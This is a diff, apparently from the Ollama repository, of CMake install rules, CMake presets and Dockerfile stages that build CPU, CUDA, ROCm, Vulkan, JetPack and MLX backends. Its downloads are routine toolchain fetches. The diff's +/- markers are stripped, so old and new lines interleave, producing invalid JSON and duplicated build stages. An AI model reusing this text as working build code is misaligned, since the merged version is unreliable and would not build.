if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
|
||||
install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(NOT APPLE)
|
||||
find_package(Vulkan)
|
||||
if(Vulkan_FOUND)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
|
||||
target_include_directories(ggml-vulkan PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
install(TARGETS ggml-vulkan
|
||||
RUNTIME_DEPENDENCIES
|
||||
PRE_INCLUDE_REGEXES vulkan
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
option(MLX_ENGINE "Enable MLX backend" OFF)
|
||||
if(MLX_ENGINE)
|
||||
message(STATUS "Setting up MLX (this takes a while...)")
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/imagegen/mlx)
|
||||
|
||||
# Find CUDA toolkit if MLX is built with CUDA support
|
||||
find_package(CUDAToolkit)
|
||||
|
||||
# Build list of directories for runtime dependency resolution
|
||||
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
|
||||
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds)
|
||||
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location
|
||||
if(DEFINED ENV{CUDNN_ROOT_DIR})
|
||||
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/)
|
||||
file(GLOB CUDNN_BIN_SUBDIRS "$ENV{CUDNN_ROOT_DIR}/bin/*")
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
|
||||
endif()
|
||||
# Add build output directory and MLX dependency build directories
|
||||
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
|
||||
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/)
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
|
||||
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
|
||||
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
|
||||
# so there is no runtime dependency. This path covers the stub build dir
|
||||
# for windows so we include the DLL in our dependencies.
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
|
||||
|
||||
# Base regexes for runtime dependencies (cross-platform)
|
||||
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
|
||||
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer)
|
||||
if(WIN32)
|
||||
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
|
||||
endif()
|
||||
|
||||
install(TARGETS mlx mlxc
|
||||
RUNTIME_DEPENDENCIES
|
||||
DIRECTORIES ${MLX_RUNTIME_DIRS}
|
||||
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
|
||||
if(TARGET jaccl)
|
||||
install(TARGETS jaccl
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
endif()
|
||||
|
||||
# Install the Metal library for macOS arm64 (must be colocated with the binary)
|
||||
# Metal backend is only built for arm64, not x86_64
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Install headers for NVRTC JIT compilation at runtime.
|
||||
# MLX's own install rules use the default component so they get skipped by
|
||||
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
|
||||
#
|
||||
# Layout:
|
||||
# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ — CCCL headers
|
||||
# ${OLLAMA_INSTALL_DIR}/include/*.h — CUDA toolkit headers
|
||||
#
|
||||
# MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir()[.parent_path()] / "include" / "cccl"
|
||||
# On Linux, MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
|
||||
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include
|
||||
# This will need refinement if we add multiple CUDA versions for MLX in the future.
|
||||
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
|
||||
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
if(NOT WIN32 AND NOT APPLE)
|
||||
install(CODE "
|
||||
set(_link \"${CMAKE_INSTALL_PREFIX}/lib/ollama/include\")
|
||||
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
|
||||
if(NOT EXISTS \${_link})
|
||||
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
|
||||
endif()
|
||||
" COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
|
||||
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
|
||||
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
|
||||
# $CUDA_PATH/include/*.h via NVRTC --include-path.
|
||||
if(CUDAToolkit_FOUND)
|
||||
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
|
||||
# (e.g. ".../include;.../include/cccl"). Find the entry that
|
||||
# contains the CUDA runtime headers we need.
|
||||
set(_cuda_inc "")
|
||||
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
|
||||
if(EXISTS "${_dir}/cuda_runtime_api.h")
|
||||
set(_cuda_inc "${_dir}")
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
if(NOT _cuda_inc)
|
||||
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
|
||||
else()
|
||||
set(_dst "${OLLAMA_INSTALL_DIR}/include")
|
||||
set(_MLX_JIT_CUDA_HEADERS
|
||||
builtin_types.h
|
||||
cooperative_groups.h
|
||||
cuda_bf16.h
|
||||
cuda_bf16.hpp
|
||||
cuda_device_runtime_api.h
|
||||
cuda_fp16.h
|
||||
cuda_fp16.hpp
|
||||
cuda_fp8.h
|
||||
cuda_fp8.hpp
|
||||
cuda_runtime_api.h
|
||||
device_types.h
|
||||
driver_types.h
|
||||
math_constants.h
|
||||
surface_types.h
|
||||
texture_types.h
|
||||
vector_functions.h
|
||||
vector_functions.hpp
|
||||
vector_types.h
|
||||
)
|
||||
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
|
||||
install(FILES "${_cuda_inc}/${_hdr}"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX)
|
||||
endforeach()
|
||||
# Subdirectory headers
|
||||
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX
|
||||
FILES_MATCHING PATTERN "*.h")
|
||||
install(FILES "${_cuda_inc}/crt/host_defines.h"
|
||||
DESTINATION "${_dst}/crt"
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation)
|
||||
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
|
||||
# dlfcn-win32 is a known CMake target with its own install rules (which install
|
||||
# to the wrong destination). We must install it explicitly here.
|
||||
if(WIN32)
|
||||
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Manually install CUDA runtime libraries that MLX loads via dlopen
|
||||
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps)
|
||||
if(CUDAToolkit_FOUND)
|
||||
file(GLOB MLX_CUDA_LIBS
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
|
||||
if(MLX_CUDA_LIBS)
|
||||
install(FILES ${MLX_CUDA_LIBS}
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
endif()
|
||||
include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)
|
||||
@@ -11,10 +11,109 @@
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX Metal",
|
||||
"name": "CPU",
|
||||
"inherits": [ "Default" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA",
|
||||
"inherits": [ "Default" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA 11",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
|
||||
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v11"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CUDA 12",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
|
||||
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v12"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CUDA 13",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
|
||||
"CMAKE_CUDA_FLAGS": "-t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v13"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "JetPack 5",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "72;87",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_jetpack5"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "JetPack 6",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "87",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_jetpack6"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
|
||||
"CMAKE_HIP_PLATFORM": "amd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm 6",
|
||||
"inherits": [ "ROCm" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
|
||||
"AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
|
||||
"OLLAMA_RUNNER_DIR": "rocm"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm 7",
|
||||
"inherits": [ "ROCm" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
|
||||
"AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
|
||||
"OLLAMA_RUNNER_DIR": "rocm"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "Vulkan",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"OLLAMA_RUNNER_DIR": "vulkan"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"MLX_ENGINE": "ON",
|
||||
"OLLAMA_RUNNER_DIR": "mlx"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 12",
|
||||
"inherits": [ "MLX", "CUDA 12" ],
|
||||
"cacheVariables": {
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 13",
|
||||
"inherits": [ "MLX", "CUDA 13" ],
|
||||
"cacheVariables": {
|
||||
"MLX_CUDA_ARCHITECTURES": "86;89;90;90a;100;103;75-virtual;80-virtual;110-virtual;120-virtual;121-virtual",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
|
||||
}
|
||||
}
|
||||
],
|
||||
@@ -25,9 +124,74 @@
|
||||
"configuration": "Release"
|
||||
},
|
||||
{
|
||||
"name": "MLX Metal",
|
||||
"targets": [ "ollama-mlx-backends" ],
|
||||
"configurePreset": "MLX Metal"
|
||||
"name": "CPU",
|
||||
"configurePreset": "Default",
|
||||
"targets": [ "ggml-cpu" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA",
|
||||
"configurePreset": "CUDA",
|
||||
"targets": [ "ggml-cuda" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA 11",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 11"
|
||||
},
|
||||
{
|
||||
"name": "CUDA 12",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 12"
|
||||
},
|
||||
{
|
||||
"name": "CUDA 13",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 13"
|
||||
},
|
||||
{
|
||||
"name": "JetPack 5",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "JetPack 5"
|
||||
},
|
||||
{
|
||||
"name": "JetPack 6",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "JetPack 6"
|
||||
},
|
||||
{
|
||||
"name": "ROCm",
|
||||
"configurePreset": "ROCm",
|
||||
"targets": [ "ggml-hip" ]
|
||||
},
|
||||
{
|
||||
"name": "ROCm 6",
|
||||
"inherits": [ "ROCm" ],
|
||||
"configurePreset": "ROCm 6"
|
||||
},
|
||||
{
|
||||
"name": "ROCm 7",
|
||||
"inherits": [ "ROCm" ],
|
||||
"configurePreset": "ROCm 7"
|
||||
},
|
||||
{
|
||||
"name": "Vulkan",
|
||||
"targets": [ "ggml-vulkan" ],
|
||||
"configurePreset": "Vulkan"
|
||||
},
|
||||
{
|
||||
"name": "MLX",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX"
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 12",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX CUDA 12"
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 13",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX CUDA 13"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -15,9 +15,9 @@ FROM scratch AS local-mlx
|
||||
FROM scratch AS local-mlx-c
|
||||
|
||||
FROM --platform=linux/amd64 rocm/dev-almalinux-8:${ROCMVERSION}-complete AS base-amd64
|
||||
RUN dnf install -y yum-utils ccache gcc-toolset-13-gcc gcc-toolset-13-gcc-c++ gcc-toolset-13-binutils \
|
||||
RUN dnf install -y yum-utils ccache gcc-toolset-11-gcc gcc-toolset-11-gcc-c++ gcc-toolset-11-binutils \
|
||||
&& yum-config-manager --add-repo https://developer.download.nvidia.com/compute/cuda/repos/rhel8/x86_64/cuda-rhel8.repo
|
||||
ENV PATH=/opt/rh/gcc-toolset-13/root/usr/bin:$PATH
|
||||
ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
|
||||
|
||||
FROM --platform=linux/arm64 almalinux:8 AS base-arm64
|
||||
# install epel-release for ccache
|
||||
@@ -37,171 +37,113 @@ RUN dnf install -y unzip \
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
ENV LDFLAGS=-s
|
||||
|
||||
#
|
||||
# GPU toolchain stages — provide compilers for llama-server GPU builds
|
||||
#
|
||||
FROM base AS cpu
|
||||
RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
|
||||
ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CPU' \
|
||||
&& cmake --build --preset 'CPU' -- -l $(nproc) \
|
||||
&& cmake --install build --component CPU --strip
|
||||
|
||||
FROM base AS cpu-deps
|
||||
RUN dnf install -y gcc-toolset-13-gcc gcc-toolset-13-gcc-c++
|
||||
ENV PATH=/opt/rh/gcc-toolset-13/root/usr/bin:$PATH
|
||||
FROM base AS cuda-11
|
||||
ARG CUDA11VERSION=11.8
|
||||
RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-11/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 11' \
|
||||
&& cmake --build --preset 'CUDA 11' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS cuda-12-deps
|
||||
FROM base AS cuda-12
|
||||
ARG CUDA12VERSION=12.8
|
||||
RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-12/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 12' \
|
||||
&& cmake --build --preset 'CUDA 12' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS cuda-13-deps
|
||||
|
||||
FROM base AS cuda-13
|
||||
ARG CUDA13VERSION=13.0
|
||||
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-13/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 13' \
|
||||
&& cmake --build --preset 'CUDA 13' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS rocm-7-deps
|
||||
ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
|
||||
|
||||
FROM base AS vulkan-deps
|
||||
FROM base AS rocm-7
|
||||
ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'ROCm 7' \
|
||||
&& cmake --build --preset 'ROCm 7' -- -l $(nproc) \
|
||||
&& cmake --install build --component HIP --strip
|
||||
RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'JetPack 5' \
|
||||
&& cmake --build --preset 'JetPack 5' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'JetPack 6' \
|
||||
&& cmake --build --preset 'JetPack 6' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS vulkan
|
||||
ARG VULKANVERSION
|
||||
RUN ln -s /usr/bin/python3 /usr/bin/python \
|
||||
&& wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
|
||||
&& tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
|
||||
&& rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
|
||||
ENV VULKAN_SDK=/usr/local
|
||||
|
||||
#
|
||||
# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
|
||||
#
|
||||
# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
|
||||
# GPU stages: GPU backend .so only → lib/ollama/<variant>/
|
||||
#
|
||||
|
||||
FROM cpu-deps AS llama-server-cpu
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset cpu \
|
||||
&& cmake --build build/llama-server-cpu -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cpu --component llama-server --strip \
|
||||
&& for lib in \
|
||||
/usr/lib64/libgomp.so* \
|
||||
/usr/lib64/libomp.so* \
|
||||
/opt/rh/gcc-toolset-13/root/usr/lib64/libgomp.so* \
|
||||
/opt/rh/gcc-toolset-13/root/usr/lib64/libomp.so*; do \
|
||||
[ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
|
||||
done
|
||||
|
||||
FROM scratch AS publish-llama-server-cpu
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM cuda-12-deps AS llama-server-cuda_v12
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_v12_linux \
|
||||
&& cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_v12 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_v12
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM cuda-13-deps AS llama-server-cuda_v13
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_v13_linux \
|
||||
&& cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_v13 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_v13
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM rocm-7-deps AS llama-server-rocm_v7_2
|
||||
ENV CC=clang CXX=clang++ CXXFLAGS=--gcc-toolchain=/opt/rh/gcc-toolset-13/root/usr
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset rocm_v7_2_linux \
|
||||
&& cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
|
||||
RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
|
||||
|
||||
FROM scratch AS publish-llama-server-rocm_v7_2
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM vulkan-deps AS llama-server-vulkan
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset vulkan \
|
||||
&& cmake --build build/llama-server-vulkan -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-vulkan --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-vulkan
|
||||
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# JetPack stages — self-contained with their own base images
|
||||
#
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache git unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
